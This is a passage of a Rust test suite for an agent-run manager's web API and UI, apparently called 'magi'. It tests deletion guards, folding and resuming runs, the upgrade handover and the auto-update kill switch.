10970 let mut leaf = mk("leaf");
10971 leaf.block(vec![mid.id.clone()], None);
10972 q.put(&mut leaf).unwrap();
10973
10974 let list = fx.get("/api/queue").await.json();
10975 let find = |id: &str| {
10976 list.as_array()
10977 .unwrap()
10978 .iter()
10979 .find(|v| v["id"] == id)
10980 .unwrap()
10981 .clone()
10982 };
10983 let leaf_view = find(&leaf.id);
10984 assert_eq!(
10985 leaf_view["waits_on"],
10986 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
10987 );
10988 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
10989 assert_eq!(
10990 find(&mid.id)["waits_on"],
10991 serde_json::json!([format!("{} (held)", root.short())])
10992 );
10993 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
10994 }
10995
10996 #[tokio::test]
10997 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
10998 let fx = Fixture::start().await;
10999 let q = fx.queue();
11000
11001 let mut t1 = Task::new(
11003 "Task 1".to_owned(),
11004 "Instruction 1".to_owned(),
11005 PathBuf::from("/repo"),
11006 Source::Human,
11007 );
11008 let run_id = "20260901-000000-r111";
11009 t1.runs.push(run_id.to_owned());
11010 write_run(&fx.runs(), run_id, RunStatus::Merged);
11011 q.put(&mut t1).expect("put t1");
11012
11013 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
11015 assert_eq!(res.status, 204);
11016 assert!(res.body.is_empty(), "204 No Content has no body");
11017 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
11018 assert!(
11019 fx.runs().join(run_id).exists(),
11020 "run directory must not be deleted when its task is deleted"
11021 );
11022
11023 let mut t2 = Task::new(
11025 "Task 2".to_owned(),
11026 "Instruction 2".to_owned(),
11027 PathBuf::from("/repo"),
11028 Source::Human,
11029 );
11030 t2.status = TaskStatus::Running;
11031 q.put(&mut t2).expect("put t2");
11032 let mut beat = crate::daemon::Status::new();
11033 beat.current = vec![crate::daemon::Current {
11034 task: t2.id.clone(),
11035 run: "20260901-000000-r222".to_owned(),
11036 }];
11037 beat.updated_at = jiff::Timestamp::now();
11038 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11039 .expect("publish a heartbeat");
11040 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
11041 assert_eq!(res.status, 409);
11042 assert!(
11043 res.json()["error"]
11044 .as_str()
11045 .unwrap()
11046 .contains("live daemon")
11047 );
11048 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
11049
11050 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
11056 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11057 .expect("leave a stale heartbeat");
11058 let mut t3 = Task::new(
11059 "Task 3".to_owned(),
11060 "Instruction 3".to_owned(),
11061 PathBuf::from("/repo"),
11062 Source::Human,
11063 );
11064 t3.status = TaskStatus::Running;
11065 q.put(&mut t3).expect("put t3");
11066 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
11067 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
11068 assert_eq!(res.status, 204);
11069 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
11070 assert!(
11071 q.claim(&t3.id).is_ok(),
11072 "the stale lock went with it, so the id is claimable again"
11073 );
11074
11075 let res = fx.delete("/api/queue/nonexistent").await;
11077 assert_eq!(res.status, 404);
11078 }
11079
11080 #[tokio::test]
11081 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
11082 let fx = Fixture::start().await;
11083 let runs = fx.runs();
11084
11085 let run_id = "20260901-000000-fold";
11087 let mut state = RunState::new(
11088 PathBuf::from("/repo"),
11089 "main".to_owned(),
11090 "abc".to_owned(),
11091 "instruction".to_owned(),
11092 Config::default(),
11093 );
11094 state.id = run_id.to_owned();
11095 state.status = RunStatus::Merged;
11096 state.candidates.push(crate::run::Candidate {
11097 index: 0,
11098 label: 'A',
11099 agent: "a".to_owned(),
11100 branch: "b".to_owned(),
11101 worktree: PathBuf::from("/w"),
11102 summary: String::new(),
11103 stat: String::new(),
11104 files: 1,
11105 commits: 1,
11106 empty: false,
11107 failed: None,
11108 verified_noop: None,
11109 duration_ms: 0,
11110 folded: true,
11111 });
11112 let dir = runs.join(run_id);
11113 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
11114 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
11115 .expect("write artifact");
11116 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
11117 .expect("write run.json");
11118
11119 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
11121 assert_eq!(res.status, 204);
11122 assert!(res.body.is_empty(), "204 has no body");
11123 assert!(!dir.exists(), "run directory and artifacts must be deleted");
11124
11125 let run_running = "20260901-000000-rung";
11130 write_run(&runs, run_running, RunStatus::Prep);
11131 let mut beat = crate::daemon::Status::new();
11132 beat.current = vec![crate::daemon::Current {
11133 task: "20260901-000000-task".to_owned(),
11134 run: run_running.to_owned(),
11135 }];
11136 beat.updated_at = jiff::Timestamp::now();
11137 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11138 .expect("publish a heartbeat");
11139 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
11140 assert_eq!(res.status, 409);
11141 assert!(
11142 res.json()["error"]
11143 .as_str()
11144 .unwrap()
11145 .contains("live daemon"),
11146 "the refusal must say who is holding it"
11147 );
11148 assert!(
11149 runs.join(run_running).exists(),
11150 "a run in flight keeps its directory"
11151 );
11152
11153 let run_unfolded = "20260901-000000-unfd";
11155 let mut state2 = RunState::new(
11156 PathBuf::from("/repo"),
11157 "main".to_owned(),
11158 "abc".to_owned(),
11159 "instruction".to_owned(),
11160 Config::default(),
11161 );
11162 state2.id = run_unfolded.to_owned();
11163 state2.status = RunStatus::Ready;
11164 state2.candidates.push(crate::run::Candidate {
11165 index: 0,
11166 label: 'A',
11167 agent: "a".to_owned(),
11168 branch: "b".to_owned(),
11169 worktree: PathBuf::from("/w"),
11170 summary: String::new(),
11171 stat: String::new(),
11172 files: 1,
11173 commits: 1,
11174 empty: false,
11175 failed: None,
11176 verified_noop: None,
11177 duration_ms: 0,
11178 folded: false,
11179 });
11180 let dir2 = runs.join(run_unfolded);
11181 std::fs::create_dir_all(&dir2).expect("create dir2");
11182 std::fs::write(
11183 dir2.join("run.json"),
11184 serde_json::to_string(&state2).unwrap(),
11185 )
11186 .expect("write run.json");
11187
11188 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
11189 assert_eq!(res.status, 409);
11190 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
11191 assert!(dir2.exists(), "unfolded run directory is kept");
11192
11193 let res = fx.delete("/api/runs/nonexistent").await;
11195 assert_eq!(res.status, 404);
11196 }
11197
11198 #[test]
11207 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
11208 let start = APP_JS
11209 .find("function renderStats() {")
11210 .expect("renderStats");
11211 let end = start
11212 + APP_JS[start..]
11213 .find("function statsTile(")
11214 .expect("the next top-level function");
11215 let body = &APP_JS[start..end];
11216
11217 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
11218 let gate_end = gate_start
11219 + body[gate_start..]
11220 .find("}\n renderStatsQueue")
11221 .expect("the gate's own closing brace, right before the unconditional call");
11222 let gated = &body[gate_start..gate_end];
11223
11224 assert_eq!(
11225 body.matches("renderStatsQueue(").count(),
11226 1,
11227 "renderStats must call renderStatsQueue exactly once: {body}"
11228 );
11229 assert!(
11230 !gated.contains("renderStatsQueue"),
11231 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
11232 run-derived panels on an empty run history - the queue panel has to render \
11233 regardless: {gated}"
11234 );
11235 }
11236
11237 #[test]
11238 fn web_ui_delete_contract_in_front_end() {
11239 assert!(APP_JS.contains("deleteRun:"));
11241 assert!(APP_JS.contains("deleteTask:"));
11242
11243 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
11245 ..APP_JS.find("function renderRuns").unwrap()];
11246 assert!(!run_cards_slice.to_lowercase().contains("delete"));
11247
11248 assert!(APP_JS.contains("renderRunDelete"));
11250 assert!(APP_JS.contains("runDeleteReason"));
11251 assert!(APP_JS.contains("magi fold"));
11252 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
11253
11254 assert!(APP_JS.contains("cancel.focus"));
11256 assert!(APP_JS.contains("armedRunDelete"));
11257 assert!(APP_JS.contains("armedDelete"));
11258
11259 assert!(APP_JS.contains("disabled: status === \"running\""));
11261 }
11262
11263 #[test]
11283 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
11284 let build = APP_JS
11285 .find("function createRunCard")
11286 .expect("createRunCard exists");
11287 let update = APP_JS
11288 .find("function updateRunCard")
11289 .expect("updateRunCard exists");
11290 let end = APP_JS
11291 .find("function renderRuns")
11292 .expect("renderRuns exists");
11293
11294 let builder = &APP_JS[build..update];
11296 let open = builder.find("refs = {").expect("createRunCard sets refs");
11297 let literal = &builder[open + "refs = {".len()..];
11298 let close = literal.find('}').expect("the refs literal is closed");
11299 let published: HashSet<&str> = literal[..close]
11300 .split(',')
11301 .filter_map(|entry| entry.split(':').next())
11303 .map(str::trim)
11304 .filter(|name| !name.is_empty())
11305 .collect();
11306 assert!(
11307 published.len() > 5,
11308 "the refs literal did not parse into names: {published:?}"
11309 );
11310
11311 let mut used: Vec<&str> = Vec::new();
11314 let updaters = &APP_JS[update..end];
11315 for (at, _) in updaters.match_indices("r.") {
11316 let before = updaters[..at].chars().next_back();
11319 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
11320 continue;
11321 }
11322 let rest = &updaters[at + 2..];
11323 let len = rest
11324 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
11325 .unwrap_or(rest.len());
11326 if len > 0 {
11327 used.push(&rest[..len]);
11328 }
11329 }
11330 assert!(
11331 used.len() > 5,
11332 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
11333 );
11334
11335 let missing: Vec<&str> = used
11336 .iter()
11337 .copied()
11338 .filter(|name| !published.contains(name))
11339 .collect();
11340 assert!(
11341 missing.is_empty(),
11342 "a run card's updater reaches for {missing:?}, which `createRunCard` \
11343 never put in `refs` - every card will throw and the list will \
11344 render empty under a count line that says otherwise. Published: \
11345 {published:?}"
11346 );
11347 }
11348
11349 #[tokio::test]
11350 async fn folding_from_the_phone_reports_what_it_removed() {
11351 let fx = Fixture::start().await;
11352 let runs = fx.runs();
11353
11354 let id = "20260901-000000-fold";
11358 write_run(&runs, id, RunStatus::Stalled);
11359 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
11360 assert_eq!(res.status, 200);
11361 assert_eq!(res.json()["removed_count"], 0);
11362 assert_eq!(res.json()["run"], id);
11363 assert!(
11364 runs.join(id).exists(),
11365 "a fold keeps the run's record; only the worktrees go"
11366 );
11367 }
11368
11369 #[tokio::test]
11370 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
11371 let fx = Fixture::start().await;
11372 let runs = fx.runs();
11373 let wt = fx.home.path().join("wt").join("magi").join("dead");
11374 let id = "20260901-000000-dead";
11375 std::fs::create_dir_all(runs.join(id)).expect("run dir");
11376 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
11377 std::fs::create_dir_all(&wt).expect("worktree dir");
11378
11379 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
11380 assert_eq!(res.status, 200, "{}", res.body);
11381 assert!(
11382 res.json()["removed_count"].as_u64().unwrap() > 0,
11383 "the worktree this build could not read a state for still went"
11384 );
11385 assert!(
11386 !runs.join(id).exists(),
11387 "an unreadable run has no candidate list to fold selectively, so \
11388 the whole record goes - same as `magi fold` on the CLI"
11389 );
11390 }
11391
11392 #[tokio::test]
11393 async fn deleting_an_unreadable_run_removes_it_wholesale() {
11394 let fx = Fixture::start().await;
11395 let runs = fx.runs();
11396 let wt = fx.home.path().join("wt").join("magi").join("gone");
11397 let id = "20260901-000000-gone";
11398 std::fs::create_dir_all(runs.join(id)).expect("run dir");
11399 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
11400 std::fs::create_dir_all(&wt).expect("worktree dir");
11401
11402 let res = fx.delete(&format!("/api/runs/{id}")).await;
11403 assert_eq!(res.status, 204, "{}", res.body);
11404 assert!(!runs.join(id).exists(), "the broken record is gone");
11405 assert!(!wt.exists(), "its worktree is gone too");
11406 }
11407
11408 #[tokio::test]
11409 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
11410 let fx = Fixture::start().await;
11411 let runs = fx.runs();
11412 let id = "20260901-000000-live";
11413 write_run(&runs, id, RunStatus::Implementing);
11414
11415 let mut beat = crate::daemon::Status::new();
11416 beat.current = vec![crate::daemon::Current {
11417 task: "20260901-000000-task".to_owned(),
11418 run: id.to_owned(),
11419 }];
11420 beat.updated_at = jiff::Timestamp::now();
11421 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11422 .expect("publish a heartbeat");
11423
11424 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
11425 assert_eq!(res.status, 409);
11426 assert!(
11427 res.json()["error"]
11428 .as_str()
11429 .unwrap()
11430 .contains("live daemon"),
11431 "folding under a running agent would pull its worktree away"
11432 );
11433 }
11434
11435 #[tokio::test]
11436 async fn fold_merged_requires_a_pr_url() {
11437 let fx = Fixture::start().await;
11438 let runs = fx.runs();
11439 let id = "20260901-000000-nourl";
11440 write_run(&runs, id, RunStatus::Blocked);
11441
11442 let res = fx
11443 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
11444 .await;
11445 assert_eq!(res.status, 400, "{}", res.body);
11446
11447 let blank = fx
11448 .post(
11449 &format!("/api/runs/{id}/fold-merged"),
11450 Some(r#"{"pr_url":" "}"#),
11451 )
11452 .await;
11453 assert_eq!(blank.status, 400, "{}", blank.body);
11454 }
11455
11456 #[tokio::test]
11457 async fn fold_merged_is_404_for_an_unknown_run() {
11458 let fx = Fixture::start().await;
11459 let res = fx
11460 .post(
11461 "/api/runs/nosuchrun/fold-merged",
11462 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
11463 )
11464 .await;
11465 assert_eq!(res.status, 404, "{}", res.body);
11466 }
11467
11468 #[tokio::test]
11469 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
11470 let fx = Fixture::start().await;
11471 let runs = fx.runs();
11472 let id = "20260901-000000-livemerge";
11473 write_run(&runs, id, RunStatus::Blocked);
11474
11475 let mut beat = crate::daemon::Status::new();
11476 beat.current = vec![crate::daemon::Current {
11477 task: "20260901-000000-task".to_owned(),
11478 run: id.to_owned(),
11479 }];
11480 beat.updated_at = jiff::Timestamp::now();
11481 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11482 .expect("publish a heartbeat");
11483
11484 let res = fx
11485 .post(
11486 &format!("/api/runs/{id}/fold-merged"),
11487 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
11488 )
11489 .await;
11490 assert_eq!(res.status, 409, "{}", res.body);
11491 assert!(
11492 res.json()["error"]
11493 .as_str()
11494 .unwrap()
11495 .contains("live daemon"),
11496 "correcting a run's merge underneath a running agent would race \
11497 whatever it is doing to the same `status`/`merge` fields"
11498 );
11499 }
11500
11501 #[tokio::test]
11506 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
11507 let fx = Fixture::start().await;
11508 let runs = fx.runs();
11509 let id = "20260901-000000-unconfirmed";
11510 write_run(&runs, id, RunStatus::Blocked);
11511
11512 let res = fx
11513 .post(
11514 &format!("/api/runs/{id}/fold-merged"),
11515 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
11516 )
11517 .await;
11518 assert_eq!(res.status, 400, "{}", res.body);
11519 assert_eq!(
11520 read_run(&runs, id).unwrap().status,
11521 RunStatus::Blocked,
11522 "a pull request that could not be confirmed merged must leave \
11523 the run exactly where it was"
11524 );
11525 }
11526
11527 #[tokio::test]
11528 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
11529 let fx = Fixture::start().await;
11530 let runs = fx.runs();
11531
11532 for (status, word) in [
11538 (RunStatus::Merged, "merged"),
11539 (RunStatus::Ready, "ready"),
11540 (RunStatus::Failed, "failed"),
11541 ] {
11542 let id = format!("20260901-000000-{}", &word[..4]);
11543 write_run(&runs, &id, status);
11544 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
11545 assert_eq!(res.status, 409, "{word} must not be resumable");
11546 let err = res.json()["error"].as_str().unwrap().to_owned();
11547 assert!(err.contains(word), "the refusal names the status: {err}");
11548 }
11549
11550 let mid = "20260901-000000-midf";
11555 write_run(&runs, mid, RunStatus::Reviewing);
11556 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
11557 assert_eq!(res.status, 202, "an interrupted run is resumable");
11558 }
11559
11560 #[tokio::test]
11561 async fn resume_is_refused_while_the_loop_is_running() {
11562 let fx = Fixture::start().await;
11563 let runs = fx.runs();
11564 let stalled = "20260901-000000-stal";
11565 write_run(&runs, stalled, RunStatus::Stalled);
11566
11567 let mut beat = crate::daemon::Status::new();
11571 beat.current = vec![crate::daemon::Current {
11572 task: "20260901-000000-task".to_owned(),
11573 run: "20260901-000000-othr".to_owned(),
11574 }];
11575 beat.updated_at = jiff::Timestamp::now();
11576 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11577 .expect("publish a heartbeat");
11578
11579 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
11580 assert_eq!(res.status, 409);
11581 let err = res.json()["error"].as_str().unwrap().to_owned();
11582 assert!(err.contains("othr"), "it names what the loop is on: {err}");
11583 assert!(err.contains("stop it first"), "{err}");
11584 }
11585
11586 #[test]
11587 fn a_run_cannot_be_resumed_twice_at_once() {
11588 let home = TempDir::new().expect("temp home");
11589 let ui = Ui::new(
11590 Queue::at(home.path().join("queue")),
11591 Questions::at(home.path().join("questions")),
11592 Talks::at(home.path().join("talks")),
11593 home.path().join("runs"),
11594 home.path().to_path_buf(),
11595 PathBuf::from("/repo"),
11596 )
11597 .with_worktrees_root(home.path().join("wt"));
11598 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
11599 let again = ui.begin_resume("20260901-000000-once");
11600 assert!(again.is_err(), "a second tap must not start a second graph");
11601 drop(first);
11602 assert!(
11603 ui.begin_resume("20260901-000000-once").is_ok(),
11604 "and the claim is released when the attempt ends"
11605 );
11606 }
11607
11608 #[test]
11609 fn talk_thinking_tracks_only_its_held_turn_claim() {
11610 let home = TempDir::new().expect("temp home");
11611 let ui = Ui::new(
11612 Queue::at(home.path().join("queue")),
11613 Questions::at(home.path().join("questions")),
11614 Talks::at(home.path().join("talks")),
11615 home.path().join("runs"),
11616 home.path().to_path_buf(),
11617 PathBuf::from("/repo"),
11618 )
11619 .with_worktrees_root(home.path().join("wt"));
11620 let id = "20260901-000000-once";
11621
11622 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
11623 let turn = ui.begin_talk_turn(id).expect("claim turn");
11624 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
11625 assert!(
11626 !ui.is_thinking("20260901-000000-other"),
11627 "one talk's turn does not make another talk busy"
11628 );
11629 drop(turn);
11630 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
11631 }
11632
11633 #[tokio::test]
11634 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
11635 let fx = Fixture::start().await;
11636 let mut beat = crate::daemon::Status::new();
11640 beat.pid = 4321;
11641 beat.updated_at = jiff::Timestamp::now();
11642 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11643 .expect("publish a heartbeat");
11644
11645 let res = fx.post("/api/upgrade", None).await;
11646 assert_eq!(res.status, 409);
11647 let err = res.json()["error"].as_str().unwrap().to_owned();
11648 assert!(err.contains("4321"), "the refusal names the owner: {err}");
11649 assert!(err.contains("old one against the same queue"), "{err}");
11650 }
11651
11652 #[test]
11659 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
11660 assert!(!should_spawn_recheck(&crate::config::Update {
11661 mode: UpdateMode::Off,
11662 interval: None,
11663 }));
11664
11665 unsafe {
11668 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
11669 }
11670 let killed = should_spawn_recheck(&crate::config::Update {
11671 mode: UpdateMode::Notify,
11672 interval: None,
11673 });
11674 unsafe {
11675 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
11676 }
11677 assert!(
11678 !killed,
11679 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
11680 one-time startup check"
11681 );
11682
11683 assert!(should_spawn_recheck(&crate::config::Update {
11684 mode: UpdateMode::Notify,
11685 interval: None,
11686 }));
11687 }
11688
11689 #[test]
11695 fn recheck_poll_period_tracks_a_short_configured_interval() {
11696 let short = crate::config::Update {
11697 mode: UpdateMode::Notify,
11698 interval: Some("1m".to_owned()),
11699 };
11700 let period = recheck_poll_period(&short);
11701 assert!(
11702 period <= Duration::from_secs(30),
11703 "a one-minute interval must wake the task far sooner than the \
11704 default ceiling, or the deck would not notice within the \
11705 interval the operator configured: got {period:?}"
11706 );
11707
11708 let default = crate::config::Update {
11709 mode: UpdateMode::Notify,
11710 interval: None,
11711 };
11712 assert_eq!(
11713 recheck_poll_period(&default),
11714 UPDATE_RECHECK_POLL_MAX,
11715 "the default day-long interval should poll at the (capped) \
11716 ceiling rather than needlessly often"
11717 );
11718 }
11719
11720 #[test]
11728 fn recheck_skips_the_network_before_the_interval_elapses() {
11729 let dir = TempDir::new().expect("temp dir");
11730 let path = dir.path().join("state.json");
11731 let state = kaishin::UpdateCheckState {
11732 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
11733 last_known_latest: None,
11734 last_known_url: None,
11735 };
11736 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
11737
11738 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
11739 assert!(
11740 !update_recheck_due(&checker, None),
11741 "a check made moments ago must not be repeated before the \
11742 configured interval elapses"
11743 );
11744 }
11745
11746 #[test]
11752 fn recheck_defers_to_an_upgrade_already_in_flight() {
11753 let dir = TempDir::new().expect("temp dir");
11754 let path = dir.path().join("state.json");
11755 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
11756 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
11757
11758 assert!(
11759 !update_recheck_due(&checker, Some(&progress)),
11760 "a recheck must not run while an upgrade this deck started is \
11761 still moving"
11762 );
11763 }
11764
11765 #[tokio::test]
11766 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
11767 unsafe {
11779 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
11780 }
11781 let fx = Fixture::start().await;
11782 let res = fx.post("/api/upgrade", None).await;
11783 unsafe {
11784 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
11785 }
11786 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
11787 let body = res.json();
11788 assert!(body["to"].is_null(), "there was no release to move to");
11789 assert!(body["parked"].is_null(), "and nothing was parked");
11790 assert!(
11791 body["detail"]
11792 .as_str()
11793 .unwrap()
11794 .contains("disabled by MAGI_NO_AUTOUPDATE"),
11795 "{body:?}"
11796 );
11797 }
11798
11799 #[tokio::test]
11800 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
11801 let repo = TempDir::new().expect("repo dir");
11817 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
11818 .expect("write magi.toml");
11819 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11820
11821 let res = fx.post("/api/upgrade", None).await;
11827 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
11828 let body = res.json();
11829 assert!(body["to"].is_null(), "there was no release to move to");
11830 assert!(body["parked"].is_null(), "and nothing was parked");
11831 assert!(
11832 body["detail"]
11833 .as_str()
11834 .unwrap()
11835 .contains("nothing restarted"),
11836 "{body:?}"
11837 );
11838 }
11839
11840 #[tokio::test]
11841 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
11842 let repo = TempDir::new().expect("repo dir");
11847 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
11848 .expect("write magi.toml");
11849 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11850
11851 let health = fx.get("/api/health").await.json();
11852 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
11853 assert_eq!(
11854 health["update"]["available"], false,
11855 "checking is off, which reads as \"unknown\", not \"none\""
11856 );
11857 assert!(health["update"]["to"].is_null());
11858 assert!(
11859 health["upgrade"].is_null(),
11860 "nothing has ever asked this deck to upgrade"
11861 );
11862 }
11863
11864 #[tokio::test]
11865 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
11866 let fx = Fixture::start().await;
11867 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
11868
11869 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11870 progress.parked_run = Some("20260905-000000-cd51".to_owned());
11871 progress.advance(crate::updater::Stage::Parking);
11872 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
11873
11874 let health = fx.get("/api/health").await.json();
11875 assert_eq!(health["upgrade"]["stage"], "parking");
11876 assert_eq!(health["upgrade"]["from"], "0.5.1");
11877 assert_eq!(health["upgrade"]["to"], "0.5.2");
11878 let waiting_on = health["upgrade"]["waiting_on"]
11879 .as_str()
11880 .expect("waiting_on is set while parking a known run");
11881 assert!(waiting_on.contains("cd51"), "{waiting_on}");
11882 assert!(waiting_on.contains("implementing"), "{waiting_on}");
11883 }
11884
11885 #[tokio::test]
11886 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
11887 let fx = Fixture::start().await;
11888 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11889 progress.advance(crate::updater::Stage::Done);
11890 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
11891
11892 let health = fx.get("/api/health").await.json();
11893 assert_eq!(health["upgrade"]["stage"], "done");
11894 assert!(
11895 health["upgrade"]["waiting_on"].is_null(),
11896 "nothing to wait on once it is done"
11897 );
11898 }
11899
11900 #[tokio::test]
11901 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
11902 let home = TempDir::new().expect("temp home");
11903 let runs = home.path().join("runs");
11904 std::fs::create_dir_all(&runs).expect("runs dir");
11905 let ui = Ui::new(
11906 Queue::at(home.path().join("queue")),
11907 Questions::at(home.path().join("questions")),
11908 Talks::at(home.path().join("talks")),
11909 runs,
11910 home.path().to_path_buf(),
11911 PathBuf::from("/repo/magi"),
11912 )
11913 .with_launch(launch_idle);
11914 let looping = ui.looping();
11915 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11916 .await
11917 .expect("bind loopback");
11918 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11919
11920 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11921 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
11922
11923 hand_over(home.path(), &looping, served, |_| Ok(()))
11924 .await
11925 .expect("hand over");
11926
11927 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
11928 assert_eq!(
11929 after.stage,
11930 crate::updater::Stage::Restarting,
11931 "hand_over owns the record through parking and up to restarting; \
11932 the successor is what finishes it"
11933 );
11934 }
11935
11936 fn idle_ui(home: &TempDir) -> Ui {
11937 let runs = home.path().join("runs");
11938 std::fs::create_dir_all(&runs).expect("runs dir");
11939 Ui::new(
11940 Queue::at(home.path().join("queue")),
11941 Questions::at(home.path().join("questions")),
11942 Talks::at(home.path().join("talks")),
11943 runs,
11944 home.path().to_path_buf(),
11945 PathBuf::from("/repo/magi"),
11946 )
11947 .with_launch(launch_idle)
11948 }
11949
11950 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
11952 let looping = ui.looping();
11953 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11954 .await
11955 .expect("bind loopback");
11956 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11957 let told = std::sync::Mutex::new(None);
11958 hand_over(home.path(), &looping, served, |resume| {
11959 *told.lock().unwrap() = Some(resume);
11960 Ok(())
11961 })
11962 .await
11963 .expect("hand over");
11964 told.into_inner().unwrap().expect("successor was started")
11965 }
11966
11967 #[tokio::test]
11968 async fn a_running_loop_is_resumed_by_the_successor() {
11969 let home = TempDir::new().expect("temp home");
11970 let ui = idle_ui(&home);
11971 ui.start_loop(None).expect("start");
11972 ui.park_for_upgrade().expect("park");
11973 for _ in 0..500 {
11975 if !ui.loop_view(None).running {
11976 break;
11977 }
11978 tokio::time::sleep(Duration::from_millis(2)).await;
11979 }
11980 assert!(handed_over(&home, ui).await, "a running loop must resume");
11981
11982 let successor = idle_ui(&home);
11983 assert!(!successor.loop_view(None).running);
11984 assert!(successor.resume_after_handover(true));
11985 assert!(successor.loop_view(None).running);
11986 successor.stop_loop(None, false).expect("stop");
11987 }
11988
11989 #[tokio::test]
11990 async fn a_second_upgrade_request_keeps_the_resume_intent() {
11991 let home = TempDir::new().expect("temp home");
11992 let ui = idle_ui(&home);
11993 ui.start_loop(None).expect("start");
11994 ui.park_for_upgrade().expect("first park");
11995 ui.park_for_upgrade().expect("second park");
11996 assert!(handed_over(&home, ui).await);
11997 }
11998
11999 #[tokio::test]
12000 async fn a_stop_during_the_handover_wait_is_honoured() {
12001 let home = TempDir::new().expect("temp home");
12002 let ui = idle_ui(&home);
